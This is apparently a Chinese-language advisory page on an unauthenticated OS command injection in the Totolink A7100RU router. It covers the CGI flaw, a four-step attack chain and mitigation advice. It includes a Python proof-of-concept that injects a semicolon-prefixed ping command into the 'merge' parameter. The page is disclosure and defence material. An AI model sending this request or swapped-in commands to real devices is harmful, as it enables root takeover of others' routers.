CVE-2026-5854 CVSS 9.8 严重

CVE-2026-5854 Totolink A7100RU OS命令注入漏洞

披露日期: 2026-04-09

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-5854

漏洞类型

命令注入

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Totolink A7100RU

漏洞概述

Totolink A7100RU路由器存在严重的操作系统命令注入漏洞。该漏洞源于/cgi-bin/cstecgi.cgi文件中的setWiFiEasyCfg函数未正确过滤用户输入的merge参数。未经身份验证的远程攻击者可通过发送特制恶意数据包，在目标系统上执行任意操作系统命令，从而完全控制设备。攻击复杂度低且无需用户交互，使得该漏洞具有极高的危害性。

技术细节

该漏洞影响Totolink A7100RU路由器固件版本7.4cu.2313_b20191024。漏洞根本原因在于CGI处理程序对输入参数缺乏严格的校验机制。具体分析发现，在`/cgi-bin/cstecgi.cgi`脚本中，`setWiFiEasyCfg`函数处理配置更新请求时，直接将用户提交的`merge`参数拼接进系统命令字符串中，并调用后台Shell执行。由于未过滤Shell元字符（如分号、管道符等），攻击者可以构造恶意的HTTP POST请求。攻击者无需任何认证即可触发该漏洞。一旦利用成功，恶意代码将以Root权限运行，从而允许攻击者植入后门、窃取网络流量或彻底破坏设备功能，对网络安全构成严重威胁。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别暴露在互联网上的Totolink A7100RU路由器设备。

STEP 2

漏洞利用

攻击者向目标设备的/cgi-bin/cstecgi.cgi接口发送特制的HTTP POST请求，在merge参数中注入恶意Shell命令。

STEP 3

命令执行

由于后端未过滤特殊字符，CGI程序将注入的参数传递给系统Shell执行，导致攻击者指定的命令在服务器上运行。

STEP 4

获取控制权

攻击者利用执行命令的权限（通常为Root）下载后门、修改配置或窃取数据，完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi"
# Example payload: ping a controlled host to verify vulnerability
payload = "; ping -c 4 192.168.1.100"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {
    "function": "setWiFiEasyCfg",
    "merge": payload
}

try:
    # Send malicious request
    response = requests.post(target_url, headers=headers, data=data, timeout=5)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check for command execution.")
    else:
        print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

Totolink A7100RU 7.4cu.2313_b20191024

防御指南

临时缓解措施

建议用户立即访问Totolink官方网站下载并安装最新固件以修复此漏洞。在更新之前，应关闭路由器的远程Web管理功能和UPnP功能，仅允许受信任的内网IP访问管理后台。同时，建议在网络边界防火墙中阻断对/cgi-bin/路径的外部访问请求。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-5854
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-5854
3 Details https://www.cvedetails.com/cve/CVE-2026-5854/
4 VulDB https://vuldb.com/cve/CVE-2026-5854
5 Link https://github.com/Litengzheng/vuldb_new/blob/main/A7100RU/vul_160/README.md
6 Link https://vuldb.com/submit/791276
7 Link https://vuldb.com/vuln/356380
8 Link https://vuldb.com/vuln/356380/cti
9 Link https://www.totolink.net/

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表